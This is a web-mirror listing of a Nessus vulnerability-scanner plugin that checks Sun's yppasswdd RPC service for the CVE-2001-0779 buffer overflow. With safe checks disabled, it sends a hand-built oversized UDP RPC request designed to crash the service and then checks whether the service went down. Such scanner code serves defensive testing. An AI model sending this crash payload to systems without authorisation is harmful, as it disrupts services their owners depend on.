home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / yppasswdd.nasl < prev    next >
Text File  |  2005-01-14  |  3KB  |  114 lines

  1. #
  2. # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
  3. #
  4. #
  5. # This script is released under the GPLv2
  6. #
  7.  
  8. if(description)
  9. {
  10.  script_id(10684);
  11.  script_bugtraq_id(2763);
  12. script_cve_id("CVE-2001-0779");
  13.  script_version ("$Revision: 1.24 $");
  14.  
  15.  
  16.  name["english"] = "yppasswdd overflow";
  17.  name["francais"] = "yppasswdd overflow";
  18.  
  19.  script_name(english:name["english"],
  20.           francais:name["francais"]);
  21.  
  22.  desc["english"] = "
  23. The remote RPC service 100009 (yppasswdd) is vulnerable
  24. to a buffer overflow which allows any user to obtain a root
  25. shell on this host.
  26.  
  27. Solution : disable this service if you don't use
  28. it, or contact Sun for a patch
  29. Risk factor : High";
  30.  
  31.  script_description(english:desc["english"]);
  32.  
  33.  summary["english"] = "heap overflow through yppasswdd";
  34.  script_summary(english:summary["english"]);
  35.  
  36.  script_category(ACT_MIXED_ATTACK); 
  37.  
  38.  script_copyright(english:"This script is Copyright (C) 2001 Renaud Deraison");
  39.  family["english"] = "Gain root remotely";
  40.  family["francais"] = "Passer root α distance";
  41.  script_family(english:family["english"], francais:family["francais"]);
  42.  script_dependencies("rpc_portmap.nasl");
  43.  script_require_keys("rpc/portmap");
  44.  exit(0);
  45. }
  46.  
  47. include("misc_func.inc");
  48.  
  49. port = get_rpc_port(program:100009, protocol:IPPROTO_UDP);
  50. if(port)
  51. {
  52.   if(!safe_checks())
  53.   {
  54.   if(get_port_state(port))
  55.   {
  56.    soc = open_sock_udp(port);
  57.    if(soc)
  58.    {
  59.     #
  60.     # We forge a bogus RPC request, with a way too long
  61.     # argument. The remote process will die immediately,
  62.     # and hopefully painlessly.
  63.     #
  64.     crp = crap(796);
  65.     
  66.     req = raw_string(0x56, 0x6C, 0x9F, 0x6B, 
  67.                  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02,
  68.              0x00, 0x01, 0x86, 0xA9, 0x00, 0x00, 0x00, 0x01,
  69.              0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00,
  70.              0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  71.              0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  72.              0x00, 0x00, 0x03, 0x20, 0x80, 0x1C, 0x40, 0x11
  73.              ) + crp + raw_string(0x00, 0x00, 0x00, 0x02,
  74.              0x61, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  75.              0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03,
  76.              0x61, 0x61, 0x61, 0x00, 0x00, 0x00, 0x00, 0x03,
  77.              0x61, 0x61, 0x61, 0x00, 0x00, 0x00, 0x00, 0x02,
  78.              0x61, 0x61, 0x00, 0x00);
  79.      send(socket:soc, data:req);
  80.      r = recv(socket:soc, length:4096);
  81.      if(r)
  82.      {
  83.       # if length(r) == 28, then the overflow did succeed. However,
  84.       # I prefer to re-make a call to getrpcport(), that's safer
  85.       # (who knows what exotic yppasswdd can reply ?)
  86.       sleep(1);
  87.       newport = get_rpc_port(program:100009, protocol:IPPROTO_UDP);
  88.       set_kb_item(name:"rpc/yppasswd/sun_overflow", value:TRUE);
  89.       if(!newport)
  90.        security_hole(port:port, protocol:"udp");
  91.      }
  92.      close(soc);
  93.    }
  94.   }
  95.  }
  96.  else
  97.  {
  98.   desc = "
  99. The remote RPC service 100009 (yppasswdd) may be vulnerable
  100. to a buffer overflow which would allow any user to obtain a root
  101. shell on this host.
  102.  
  103. *** Nessus reports this vulnerability using only
  104. *** information that was gathered. Use caution
  105. *** when testing without safe checks enabled.
  106.  
  107. Solution : disable this service if you don't use
  108. it, or contact Sun for a patch
  109. Risk factor : High";
  110.   set_kb_item(name:"rpc/yppasswd/sun_overflow", value:TRUE);
  111.   security_hole(port:port, data:desc, protocol:"udp");
  112.  }
  113. }
  114.